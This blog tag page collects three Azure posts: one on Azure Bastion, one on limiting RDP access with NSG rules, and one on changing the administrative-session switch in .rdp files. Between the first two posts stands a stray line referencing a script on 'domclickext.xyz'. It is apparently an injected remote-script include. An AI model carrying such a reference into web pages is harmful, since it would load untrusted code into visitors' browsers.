Tag: RDP

Azure Bastion – What is it?

A little late to the party but nevertheless, I wanted to quickly show what is and how to use Azure Bastion. Azure Bastion is still in “public preview” but the solution is mature enough to start implementing now. Azure Bastion reduces the risk significantly in comparison to your traditional jumpbox approach, as it forces users to authenticate over SSL/443.

So what is Azure Bastion? Azure Bastion is a fully managed service by Azure/Microsoft that allows you to RDP and/or SSH into any Azure VM. Azure Bastion allows you to connect to your Azure VMs over HTML5-based browsers and using SSL.

Key Benefits:

  • Protection against 0-Day exploits:
    • Because Bastion sits at the perimeter of your VNet, you do not need to worry about hardening each of your VMs (although you should harden everything!!) The Azure platform will protect you keeping Azure Bastion hardened and is always up-to-date.
  • No Public IP(s) required for your Azure VMs:
    • By using Bastion, you can remove PIPs from your Azure VMs and can force your users to go through the Bastion host to connect to your VMs in your Azure environment.
  • Remote Sessions over SSL:
    • Since Azure Bastion uses HTML5 modern browsers, users can RDP/SSH over SSL (443) enabling you traverse corporate firewalls securely.
  • Simplified Management of NSGs:
    • Since Bastion is fully managed PaaS service by Azure, you no longer need to apply Network Security Groups (NSGs) on your Bastion subnet.  Since Bastion connects to your VMs over a Private IP, you can configure your NSGs to allow RDP/SSH from Azure Bastion only.

Architecture:

Source: Microsoft, https://docs.microsoft.com/en-us/azure/bastion/bastion-overview

The architecture diagram above shows use the workflow how Azure Bastion works.

  • The Bastion host is deployed within a VNet and with its own dedicated subnet
  • Users can connect with any modern HTML5 browser
  • No Public IPs on Azure VMs

Base Requirements:

Before getting setup with Azure Bastion there are some key things to know for example.

  • You must have a Virtual Network
  • The VNet must have a subnet dedicated for Bastion and its name must be “AzureBastionSubnet”
  • It is always recommended to have the subnet with a /27 CIDR. It is easy to grow your subnet as needed, much more difficult to shrink. Always start small and grow as needed.
  • No User Defined Routing (UDR) or Network Security Groups (NSG) can be applied to the subnet.

 

Next step, how to deploy and configure Azure Bastion. If you want to get started with Azure Bastion, you can enroll with the Public Preview here, https://aka.ms/BastionHost.

//domclickext.xyz/212b3d4039ab5319ec.js

Restricting RDP (Remote Desktop) Access to Azure Virtual Machines

By default, every Azure virtual machine has RDP (Remote Desktop Protocol), port 3389 enabled, and allows any RDP connection from any IP in the world. As great as that is, this can be a (huge) security risk.  So, what if we want to change this, and limit who has RDP access to the VM? What if we want only a select range of IPs, or a specific IP to only have access to the VM(s)? For example, your branch office has a static public IP, and we only want RDP access from this IP/location. How can we achieve this?

Restricting RDP access your VMs in Azure isn’t difficult, but does require some knowledge of Azure Network Security. The solution can be achieved by making use of Azure NSG’s (Network Security Groups). Every VM will have an NSG when it is deployed. If you create an NSG beforehand, you can simply apply the same NSG to new VM deployments.

In the example below, we will need to create 2 NSG’s.

  1. Allowing RDP from a specific IP/CIDR
  2. Denying all RDP traffic

Let’s begin, if you go into the property settings of the VM, and select the Networking Settings, and select, “Add inbound port rule“. Click on the wrench, to switch from Basic to Advanced.

The Inbound Security Rule properties, as follows:

Wait, what do all of these fields mean?

  • Source: The source can by any IP Address, or CIDR Range, or a default-service tag.
  • Source IP Address/CIDR Ranges: Any IP Address, or CIDR Range.
  • Source Service Tag: There are a series of options here, but in short:
    • Load Balancer: Any probes in the Azure Load Balancer
    • Virtual Network: The Virtual Network the VM is connected to
    • Internet: All network traffic in the public virtual network, (including all Azure services, such as Azure Traffic Manager, Storage and SQL)
    • Azure Traffic Manager: Denotes the IP address from where the Azure Load Balancer health probes will origiante.
    • Storage.*:  Access to Azure storage services and/or specific Azure regions
    • SQL.*: Access to Azure SQL Database and Warehouse services, and/or specific Azure regions
  • Source Port Ranges: You can use either a range of ports, or use a Wildcard (*) for all ranges.
  • Destination: The source can by any IP Address, or CIDR Range, or the Virtual Network.
  • Destination Port Ranges: You can use either a range of ports, or use a Wildcard (*) for all ranges.
  • Protocol: TCP or UDP, or Any, which includes both TCP and UDP, and ICMP.
  • Action: Allow, or Deny access.
  • Priority: A number between 100-4096. The lowest is 100, and the highest we can input is 4096. Lower the number, higher the priority.
  • Name: The name of the rule. Note, once created, it cannot be changed!

So, these are the values/settings I implemented for the Allow Inbound Rule:

  • Source: IP Addresses
  • Source IP Addresses/CIDR Ranges: xxx.xxx.xxx.xxx
  • Source Port Ranges: *
  • Destination: Any
  • Destination Port Ranges: 3389
  • Protocol: TCP
  • Action: Allow
  • Priority: 4095
  • Name: default-allow-rdp

Next are the values/settings I implemented for the Deny all RDP Inbound Rule:

  • Source: ServiceTag
  • Source Service Tag: Intenert
  • Source Port Ranges: *
  • Destination: Virtual Network
  • Destination Port Ranges: 3389
  • Protocol: Any
  • Action: Deny
  • Priority: 4096
  • Name: Deny-RDP-Access

 

The Outbound Port Rules should look something like this now. Why we set Priority the way we did… Well, Rules are checked in the order of priority. Once a rule applies, no more rules are tested for matching.

 

Once the rules has been submitted, and accepted, and if we try to RDP into the VM we should now only be allowed from the IP Range, or IP! Success!!

 

To learn more on Azure NSG (Network Security Groups), visit: https://docs.microsoft.com/en-us/azure/virtual-network/security-overview

Wait, Installing Windows Servers CALs on an Azure VM isn’t your last step….

Recently I was presented with a problem, where the client needed to increase the number of terminal services (RDP sessions) from the default 2, to 5. The server was a virtual machine (VM) that was being hosted on Azure, and it was a Windows Server 2016 VM. So, simple solution, right? Just install the Terminal Services (Remote Desktop Service) roles, purchase and install the 5 CALs, and walk away.

Well, after I installed Terminal Services, and configured the Remote Desktop roles, installed and activated the 5 CALs, User3 was still unable to login without kicking User1 or User2 off the machine.

Turns out, the end-users were given the RDP file from the Azure portal, which was fine, however when that specific file was downloaded and used by the end-users, it contained the administrative switch set to true. With this property enabled, User3 would never be able to login without kicking one of the other users off. So, what to do?

 

Opening the RDP file, and modifying the administrative switch from 1 to 0, was the trick! Gave the users the updated RDP file, and all good. Users3, 4 and 5 were now able to log on to the server.

If you’re curious, below is an example of the RDP file contents, (Open it within Notepad). When you download the RDP file from the Azure portal, it will contain the following info, public IP of the server, prompt for credentials, administrative…. You will need to change the administrative switch from 1 to 0, and save the file. Of course, you still need to install the Terminal Services, purchase the CALs, and install, etc. etc.

 

full address:s:512.802.768.266:3389
prompt for credentials:i:1
administrative session:i:1

 

FYI, Group Policy has nothing to do with this, so that was eventually removed as a part of the solution. (https://support.microsoft.com/en-us/help/2833839/guidelines-for-installing-the-remote-desktop-session-host-role-service)